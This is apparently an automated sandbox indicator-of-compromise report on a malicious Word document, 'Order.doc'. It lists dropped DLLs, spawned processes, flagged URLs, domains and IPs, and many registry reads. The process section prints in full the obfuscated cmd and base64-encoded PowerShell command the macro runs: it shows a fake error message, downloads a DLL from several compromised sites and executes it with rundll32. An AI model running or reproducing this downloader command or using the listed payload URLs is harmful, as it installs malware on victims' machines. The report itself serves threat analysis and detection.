IOCReport

loading gif

Files

File Path
Type
Category
Malicious
Order.doc
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Harum consequatur suscipit voluptatem explicabo placeat laborum. Est quidem sequi enim tenetur., Author: Margarita Lara, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Jan 25 09:18:00 2021, Last Saved Time/Date: Mon Jan 25 09:18:00 2021, Number of Pages: 1, Number of Words: 5366, Number of Characters: 30587, Security: 8
initial sample
malicious
C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
malicious
C:\Users\user\Desktop\~$Order.doc
data
dropped
malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A07A78F5-D643-47FF-B622-0CF30ED55516}.tmp
data
dropped
clean
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E3975822-A796-4096-8B6B-C6BCF64E2588}.tmp
data
dropped
clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Order.LNK
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:11 2020, mtime=Wed Aug 26 14:08:11 2020, atime=Tue Jan 26 06:13:33 2021, length=142336, window=hide
dropped
clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
ASCII text, with CRLF line terminators
dropped
clean
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
data
dropped
clean
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y1B2TNFFMYFTDZJ3L541.temp
data
dropped
clean

Processes

Path
Cmdline
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
malicious
C:\Windows\System32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMAZQB0ACAAIABEAGIATgBNACAAKABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1AH0AewAzAH0AewAyAH0AewAxAH0AewAwAH0AIgAtAEYAIAAnAHkAJwAsACcAUgAnACwAJwBvACcALAAnAEkAUgBlAGMAdAAnACwAJwBzAHkAJwAsACcAUwB0AGUAbQAuAGkAbwAuAGQAJwApACAAKQA7ACAAIABTAFYAIAAgADAAagBBACAAKABbAHQAeQBwAEUAXQAoACIAewAwAH0AewA2AH0AewA1AH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewAzAH0AIgAgAC0ARgAgACcAUwB5AHMAdABFACcALAAnAEEATgBBACcALAAnAFMARQBSAHYAJwAsACcARwBlAFIAJwAsACcATwBJAG4AdABtACcALAAnAFQALgAnACwAJwBtAC4AbgBFACcALAAnAEkAYwBlAHAAJwApACAAKQAgACAAOwAgACQATwByAGIAXwBjAGgAMgA9ACQATQA0ADEAQgAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQARwAwADgAQwA7ACQARQA1ADAATgA9ACgAKAAnAEEAJwArACcANQA1ACcAKQArACcAWAAnACkAOwAgACAAKAAgAGwAcwAgACAAdgBBAHIASQBBAEIAbABlADoAZABCAE4AbQAgACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBDAFIAYABFAGEAYABUAGUAZABJAHIAZQBjAGAAVABgAG8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAJwBkACcAKwAnADAAJwArACgAJwBDAGgAYQAxACcAKwAnAF8ANQAnACsAJwBqAEIAZAAwACcAKwAnAFAAJwApACsAKAAnAHoAJwArACcAeQByACcAKQArACcAeAB5ACcAKwAoACcAdgBCAGQAJwArACcAMAAnACkAKQAuACIAUgBlAGAAUABMAGEAYABDAGUAIgAoACgAWwBjAEgAYQByAF0ANgA2ACsAWwBjAEgAYQByAF0AMQAwADAAKwBbAGMASABhAHIAXQA0ADgAKQAsAFsAcwB0AFIASQBuAEcAXQBbAGMASABhAHIAXQA5ADIAKQApACkAOwAkAFAANAA2AEoAPQAoACcATwAnACsAKAAnADUAJwArACcAXwBIACcAKQApADsAIAAgACQAMABqAEEAOgA6ACIAUwBFAEMAVQBgAFIAaQBUAHkAUAByAE8AdABgAE8AYABDAE8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVgAwADAATgA9ACgAKAAnAFUAJwArACcAMgA4ACcAKQArACcARwAnACkAOwAkAEYAZQB0AGEAYwB3AGMAIAA9ACAAKAAnAEoAJwArACgAJwA0ADcAJwArACcASwAnACkAKQA7ACQAWAA2ADEARAA9ACgAJwBDACcAKwAoACcAMwAnACsAJwA5AFMAJwApACkAOwAkAFEAZgBfAHoANgA2AHQAPQAkAEgATwBNAEUAKwAoACgAJwBuAGEAJwArACcAVQBDACcAKwAnAGgAJwArACcAYQAxACcAKwAoACcAXwAnACsAJwA1AGoAJwApACsAKAAnAG4AYQBVACcAKwAnAFAAegB5AHIAeAB5AHYAJwArACcAbgBhAFUAJwApACkALgAiAHIAYABlAFAAbABhAEMAZQAiACgAKABbAGMASABBAFIAXQAxADEAMAArAFsAYwBIAEEAUgBdADkANwArAFsAYwBIAEEAUgBdADgANQApACwAJwBcACcAKQApACsAJABGAGUAdABhAGMAdwBjACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABEADkAOABBAD0AKAAnAFUAMAAnACsAJwA1AE4AJwApADsAJABGAGwANgBiAHcAMABjAD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQARABlAGwANwB3AGYAeQA9ACgAKAAnAG4AJwArACcAcwAgAHcAdQAgAGQAJwArACcAYgAgAG4AZAA6ACcAKwAnAC8ALwAnACkAKwAnAG4AJwArACgAJwBpAGcAaAB0AGwAJwArACcAaQAnACkAKwAoACcAZgAnACsAJwBlAG0AJwApACsAKAAnAHUAbQAnACsAJwBiACcAKQArACgAJwBhAGkALgAnACsAJwBjAGwAdQBiAC8AeAAnACsAJwAvADAAdwBCAEQAMwAnACsAJwAvACcAKQArACgAJwAhAG4AcwAgAHcAJwArACcAdQAgACcAKQArACgAJwBkAGIAIABuACcAKwAnAGQAcwA6AC8ALwAnACsAJwBzACcAKQArACcAaAAnACsAKAAnAG8AJwArACcAcAAuAG4AbwB3ACcAKwAnAGYAYQBsAC4AJwArACcAZABlAHYAJwApACsAKAAnAC8AdwBwAC0AJwArACcAaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBkACcAKwAnAGUAcwAnACkAKwAnAC8AUgAnACsAJwBsAE0AJwArACgAJwBPAGIAZgAyAGoAJwArACcAMAAnACsAJwAvACEAbgBzACcAKQArACgAJwAgAHcAdQAnACsAJwAgAGQAJwApACsAKAAnAGIAIAAnACsAJwBuACcAKQArACcAZAA6ACcAKwAoACcALwAvAGUALQB3ACcAKwAnAGQAZQAnACkAKwAoACcAcwAnACsAJwBpAGcAbgAnACkAKwAoACcALgBlAHUAJwArACcALwB3AHAALQBjACcAKwAnAG8AbgAnACsAJwB0AGUAbgB0AC8AYgBuADEASQBnACcAKwAnAEQAZQBqAGgALwAhACcAKwAnAG4AJwArACcAcwAgACcAKwAnAHcAdQAgACcAKwAnAGQAJwArACcAYgAnACkAKwAnACAAJwArACgAJwBuAGQAJwArACcAOgAnACkAKwAoACcALwAvAHQAcgBhAHUAbQBmAHIAYQB1AGUAJwArACcAbgAnACsAJwAtAHUAJwArACcAawByAGEAaQBuAGUAJwArACcALgBkACcAKwAnAGUALwAnACkAKwAnAGIAJwArACgAJwBpAG4ALwBKAHkAZQAnACsAJwBTAC8AIQBuAHMAIAAnACsAJwB3AHUAIAAnACsAJwBkACcAKQArACcAYgAnACsAKAAnACAAbgAnACsAJwBkACcAKQArACgAJwBzACcAKwAnADoALwAvAGoAZgBsACcAKwAnAG0AawB0AGcALgB3AHAAYwAnACsAJwBvACcAKwAnAG0AJwArACcAcwB0AGEAJwApACsAJwBnAGkAJwArACcAbgAnACsAJwBnACcAKwAoACcALgBjAG8AbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQBjAG8AJwArACcAbgAnACkAKwAoACcAdABlAG4AJwArACcAdAAvACcAKQArACcAQQAnACsAJwBLACcAKwAnAC8AJwArACcAIQBuACcAKwAoACcAcwAnACsAJwAgAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgAG4AZABzADoALwAvAGwAaQAnACkAKwAoACcAbgBoAGsAaQAnACsAJwBlAG4AbQBhACcAKwAnAHkAdAAnACsAJwBpACcAKQArACgAJwBuAGgAJwArACcALgAnACkAKwAnAHQAJwArACcAYwAnACsAKAAnAHQAZQAnACsAJwBkAHUALgBjAG8AbQAnACsAJwAvACcAKQArACcAdwAnACsAKAAnAHAALQBzAG4AYQAnACsAJwBwAHMAJwArACcAaABvAHQAJwArACcAcwAvAFYAegBKAE0ALwAnACkAKQAuACIAcgBgAEUAcABMAGAAQQBDAEUAIgAoACgAJwBuACcAKwAnAHMAIAAnACsAKAAnAHcAdQAnACsAJwAgAGQAYgAgAG4AZAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQARgBsADYAYgB3ADAAYwAsACcAdwBkACcAKQBbADMAXQApAC4AIgBzAGAAUABMAEkAdAAiACgAJABIADYANABCACAAKwAgACQATwByAGIAXwBjAGgAMgAgACsAIAAkAFcAOAAyAEIAKQA7ACQASAA5ADEAUwA9ACgAJwBCACcAKwAoACcANQA5ACcAKwAnAFEAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEQAdQAyAGoAbwAxAGoAIABpAG4AIAAkAEQAZQBsADcAdwBmAHkAKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAtAE8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAHMAeQBTAFQAZQBNAC4ATgBFAFQALgBXAGUAQgBDAGwAaQBlAE4AdAApAC4AIgBEAE8AYAB3AG4ATABvAEEARABGAGAAaQBsAEUAIgAoACQARAB1ADIAagBvADEAagAsACAAJABRAGYAXwB6ADYANgB0ACkAOwAkAE8AMgAzAFAAPQAoACcAWgA2ACcAKwAnADgAWQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAUQBmAF8AegA2ADYAdAApAC4AIgBsAGAAZQBuAEcAdABoACIAIAAtAGcAZQAgADMAMQAwADYANQApACAAewAuACgAJwByACcAKwAnAHUAJwArACcAbgBkAGwAbAAzADIAJwApACAAJABRAGYAXwB6ADYANgB0ACwAKAAoACcAQQBuACcAKwAnAHkAJwApACsAKAAnAFMAdAAnACsAJwByAGkAJwApACsAJwBuAGcAJwApAC4AIgBUAE8AYABzAHQAYABSAEkATgBnACIAKAApADsAJABZADIAOABLAD0AKAAnAEUAJwArACgAJwAxACcAKwAnADQAVgAnACkAKQA7AGIAcgBlAGEAawA7ACQARAA4ADMAUQA9ACgAJwBUACcAKwAoACcAXwAnACsAJwAwAEgAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAOQAxAEYAPQAoACcASAAnACsAKAAnADgAOAAnACsAJwBWACcAKQApAA==
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IAAgAFMAZQB0ACAAIABEAGIATgBNACAAKABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1AH0AewAzAH0AewAyAH0AewAxAH0AewAwAH0AIgAtAEYAIAAnAHkAJwAsACcAUgAnACwAJwBvACcALAAnAEkAUgBlAGMAdAAnACwAJwBzAHkAJwAsACcAUwB0AGUAbQAuAGkAbwAuAGQAJwApACAAKQA7ACAAIABTAFYAIAAgADAAagBBACAAKABbAHQAeQBwAEUAXQAoACIAewAwAH0AewA2AH0AewA1AH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewAzAH0AIgAgAC0ARgAgACcAUwB5AHMAdABFACcALAAnAEEATgBBACcALAAnAFMARQBSAHYAJwAsACcARwBlAFIAJwAsACcATwBJAG4AdABtACcALAAnAFQALgAnACwAJwBtAC4AbgBFACcALAAnAEkAYwBlAHAAJwApACAAKQAgACAAOwAgACQATwByAGIAXwBjAGgAMgA9ACQATQA0ADEAQgAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQARwAwADgAQwA7ACQARQA1ADAATgA9ACgAKAAnAEEAJwArACcANQA1ACcAKQArACcAWAAnACkAOwAgACAAKAAgAGwAcwAgACAAdgBBAHIASQBBAEIAbABlADoAZABCAE4AbQAgACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBDAFIAYABFAGEAYABUAGUAZABJAHIAZQBjAGAAVABgAG8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAJwBkACcAKwAnADAAJwArACgAJwBDAGgAYQAxACcAKwAnAF8ANQAnACsAJwBqAEIAZAAwACcAKwAnAFAAJwApACsAKAAnAHoAJwArACcAeQByACcAKQArACcAeAB5ACcAKwAoACcAdgBCAGQAJwArACcAMAAnACkAKQAuACIAUgBlAGAAUABMAGEAYABDAGUAIgAoACgAWwBjAEgAYQByAF0ANgA2ACsAWwBjAEgAYQByAF0AMQAwADAAKwBbAGMASABhAHIAXQA0ADgAKQAsAFsAcwB0AFIASQBuAEcAXQBbAGMASABhAHIAXQA5ADIAKQApACkAOwAkAFAANAA2AEoAPQAoACcATwAnACsAKAAnADUAJwArACcAXwBIACcAKQApADsAIAAgACQAMABqAEEAOgA6ACIAUwBFAEMAVQBgAFIAaQBUAHkAUAByAE8AdABgAE8AYABDAE8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVgAwADAATgA9ACgAKAAnAFUAJwArACcAMgA4ACcAKQArACcARwAnACkAOwAkAEYAZQB0AGEAYwB3AGMAIAA9ACAAKAAnAEoAJwArACgAJwA0ADcAJwArACcASwAnACkAKQA7ACQAWAA2ADEARAA9ACgAJwBDACcAKwAoACcAMwAnACsAJwA5AFMAJwApACkAOwAkAFEAZgBfAHoANgA2AHQAPQAkAEgATwBNAEUAKwAoACgAJwBuAGEAJwArACcAVQBDACcAKwAnAGgAJwArACcAYQAxACcAKwAoACcAXwAnACsAJwA1AGoAJwApACsAKAAnAG4AYQBVACcAKwAnAFAAegB5AHIAeAB5AHYAJwArACcAbgBhAFUAJwApACkALgAiAHIAYABlAFAAbABhAEMAZQAiACgAKABbAGMASABBAFIAXQAxADEAMAArAFsAYwBIAEEAUgBdADkANwArAFsAYwBIAEEAUgBdADgANQApACwAJwBcACcAKQApACsAJABGAGUAdABhAGMAdwBjACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABEADkAOABBAD0AKAAnAFUAMAAnACsAJwA1AE4AJwApADsAJABGAGwANgBiAHcAMABjAD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQARABlAGwANwB3AGYAeQA9ACgAKAAnAG4AJwArACcAcwAgAHcAdQAgAGQAJwArACcAYgAgAG4AZAA6ACcAKwAnAC8ALwAnACkAKwAnAG4AJwArACgAJwBpAGcAaAB0AGwAJwArACcAaQAnACkAKwAoACcAZgAnACsAJwBlAG0AJwApACsAKAAnAHUAbQAnACsAJwBiACcAKQArACgAJwBhAGkALgAnACsAJwBjAGwAdQBiAC8AeAAnACsAJwAvADAAdwBCAEQAMwAnACsAJwAvACcAKQArACgAJwAhAG4AcwAgAHcAJwArACcAdQAgACcAKQArACgAJwBkAGIAIABuACcAKwAnAGQAcwA6AC8ALwAnACsAJwBzACcAKQArACcAaAAnACsAKAAnAG8AJwArACcAcAAuAG4AbwB3ACcAKwAnAGYAYQBsAC4AJwArACcAZABlAHYAJwApACsAKAAnAC8AdwBwAC0AJwArACcAaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBkACcAKwAnAGUAcwAnACkAKwAnAC8AUgAnACsAJwBsAE0AJwArACgAJwBPAGIAZgAyAGoAJwArACcAMAAnACsAJwAvACEAbgBzACcAKQArACgAJwAgAHcAdQAnACsAJwAgAGQAJwApACsAKAAnAGIAIAAnACsAJwBuACcAKQArACcAZAA6ACcAKwAoACcALwAvAGUALQB3ACcAKwAnAGQAZQAnACkAKwAoACcAcwAnACsAJwBpAGcAbgAnACkAKwAoACcALgBlAHUAJwArACcALwB3AHAALQBjACcAKwAnAG8AbgAnACsAJwB0AGUAbgB0AC8AYgBuADEASQBnACcAKwAnAEQAZQBqAGgALwAhACcAKwAnAG4AJwArACcAcwAgACcAKwAnAHcAdQAgACcAKwAnAGQAJwArACcAYgAnACkAKwAnACAAJwArACgAJwBuAGQAJwArACcAOgAnACkAKwAoACcALwAvAHQAcgBhAHUAbQBmAHIAYQB1AGUAJwArACcAbgAnACsAJwAtAHUAJwArACcAawByAGEAaQBuAGUAJwArACcALgBkACcAKwAnAGUALwAnACkAKwAnAGIAJwArACgAJwBpAG4ALwBKAHkAZQAnACsAJwBTAC8AIQBuAHMAIAAnACsAJwB3AHUAIAAnACsAJwBkACcAKQArACcAYgAnACsAKAAnACAAbgAnACsAJwBkACcAKQArACgAJwBzACcAKwAnADoALwAvAGoAZgBsACcAKwAnAG0AawB0AGcALgB3AHAAYwAnACsAJwBvACcAKwAnAG0AJwArACcAcwB0AGEAJwApACsAJwBnAGkAJwArACcAbgAnACsAJwBnACcAKwAoACcALgBjAG8AbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQBjAG8AJwArACcAbgAnACkAKwAoACcAdABlAG4AJwArACcAdAAvACcAKQArACcAQQAnACsAJwBLACcAKwAnAC8AJwArACcAIQBuACcAKwAoACcAcwAnACsAJwAgAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgAG4AZABzADoALwAvAGwAaQAnACkAKwAoACcAbgBoAGsAaQAnACsAJwBlAG4AbQBhACcAKwAnAHkAdAAnACsAJwBpACcAKQArACgAJwBuAGgAJwArACcALgAnACkAKwAnAHQAJwArACcAYwAnACsAKAAnAHQAZQAnACsAJwBkAHUALgBjAG8AbQAnACsAJwAvACcAKQArACcAdwAnACsAKAAnAHAALQBzAG4AYQAnACsAJwBwAHMAJwArACcAaABvAHQAJwArACcAcwAvAFYAegBKAE0ALwAnACkAKQAuACIAcgBgAEUAcABMAGAAQQBDAEUAIgAoACgAJwBuACcAKwAnAHMAIAAnACsAKAAnAHcAdQAnACsAJwAgAGQAYgAgAG4AZAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQARgBsADYAYgB3ADAAYwAsACcAdwBkACcAKQBbADMAXQApAC4AIgBzAGAAUABMAEkAdAAiACgAJABIADYANABCACAAKwAgACQATwByAGIAXwBjAGgAMgAgACsAIAAkAFcAOAAyAEIAKQA7ACQASAA5ADEAUwA9ACgAJwBCACcAKwAoACcANQA5ACcAKwAnAFEAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEQAdQAyAGoAbwAxAGoAIABpAG4AIAAkAEQAZQBsADcAdwBmAHkAKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAtAE8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAHMAeQBTAFQAZQBNAC4ATgBFAFQALgBXAGUAQgBDAGwAaQBlAE4AdAApAC4AIgBEAE8AYAB3AG4ATABvAEEARABGAGAAaQBsAEUAIgAoACQARAB1ADIAagBvADEAagAsACAAJABRAGYAXwB6ADYANgB0ACkAOwAkAE8AMgAzAFAAPQAoACcAWgA2ACcAKwAnADgAWQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAUQBmAF8AegA2ADYAdAApAC4AIgBsAGAAZQBuAEcAdABoACIAIAAtAGcAZQAgADMAMQAwADYANQApACAAewAuACgAJwByACcAKwAnAHUAJwArACcAbgBkAGwAbAAzADIAJwApACAAJABRAGYAXwB6ADYANgB0ACwAKAAoACcAQQBuACcAKwAnAHkAJwApACsAKAAnAFMAdAAnACsAJwByAGkAJwApACsAJwBuAGcAJwApAC4AIgBUAE8AYABzAHQAYABSAEkATgBnACIAKAApADsAJABZADIAOABLAD0AKAAnAEUAJwArACgAJwAxACcAKwAnADQAVgAnACkAKQA7AGIAcgBlAGEAawA7ACQARAA4ADMAUQA9ACgAJwBUACcAKwAoACcAXwAnACsAJwAwAEgAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAOQAxAEYAPQAoACcASAAnACsAKAAnADgAOAAnACsAJwBWACcAKQApAA==
malicious
C:\Windows\System32\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll AnyString
malicious
C:\Windows\SysWOW64\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll AnyString
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll',#1
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fceveflzqtqcb\xbnmlvxgynlb.uvl',CnBGell
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fceveflzqtqcb\xbnmlvxgynlb.uvl',#1
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Jonxwll\xztbsp.lei',TJuSeqejTSAKMZ
malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Jonxwll\xztbsp.lei',#1
malicious
C:\Windows\System32\msg.exe
msg user /v Word experienced an error trying to open the file.
clean
There are 1 hidden processes, click here to show them.

URLs

Name
IP
Malicious
https://jflmktg.wpcomstaging.com/wp-content/AK/
unknown
malicious
http://nightlifemumbai.club/x/0wBD3/
172.217.6.174
malicious
http://190.55.186.229/efl8dd1i/
190.55.186.229
malicious
https://shop.nowfal.dev
unknown
malicious
http://nightlifemumbai.club
unknown
malicious
http://e-wdesign.eu/wp-content/bn1IgDejh/
unknown
malicious
http://traumfrauen-ukraine.de/bin/JyeS/
unknown
malicious
https://linhkienmaytinh.tctedu.com/wp-snapshots/VzJM/
unknown
malicious
https://shop.nowfal.dev/wp-includes/RlMObf2j0/
unknown
malicious
http://www.windows.com/pctv.
unknown
clean
http://investor.msn.com
unknown
clean
http://www.msnbc.com/news/ticker.txt
unknown
clean
http://crl.entrust.net/server1.crl0
unknown
clean
http://ocsp.entrust.net03
unknown
clean
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
unknown
clean
http://www.diginotar.nl/cps/pkioverheid0
unknown
clean
http://windowsmedia.com/redir/services.asp?WMPFriendly=true
unknown
clean
http://www.hotmail.com/oe
unknown
clean
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
unknown
clean
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
unknown
clean
http://www.icra.org/vocabulary/.
unknown
clean
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
unknown
clean
http://investor.msn.com/
unknown
clean
http://www.%s.comPA
unknown
clean
http://ocsp.entrust.net0D
unknown
clean
https://secure.comodo.com/CPS0
unknown
clean
http://crl.entrust.net/2048ca.crl0
unknown
clean
There are 17 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
shop.nowfal.dev
104.21.88.166
malicious
nightlifemumbai.club
172.217.6.174
malicious

IPs

IP
Domain
Country
Active
Malicious
104.21.88.166
unknown
United States
unknown
malicious
172.217.6.174
unknown
United States
unknown
malicious
190.55.186.229
unknown
Argentina
unknown
malicious

Registry

Path
Value
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
)#7
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
2$7
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
z%7
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
VBAFiles
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ReviewToken
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EC2E2
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Arial Unicode MS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Batang
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@BatangChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DFKai-SB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Dotum
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DotumChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@FangSong
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gulim
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GulimChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gungsuh
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GungsuhChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@KaiTi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Malgun Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo UI
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft JhengHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft YaHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Mincho
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PGothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PMincho
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS UI Gothic
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@NSimSun
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimHei
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun-ExtB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Agency FB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aharoni
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Algerian
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Andalus
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Angsana New
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
AngsanaUPC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aparajita
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arabic Typesetting
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Black
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Narrow
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Rounded MT Bold
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Unicode MS
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Baskerville Old Face
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Batang
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BatangChe
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bauhaus 93
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bell MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB Demi
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bernard MT Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Blackadder ITC
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Black
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Condensed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Poster Compressed
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Book Antiqua
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookman Old Style
clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookshelf Symbol 7
clean
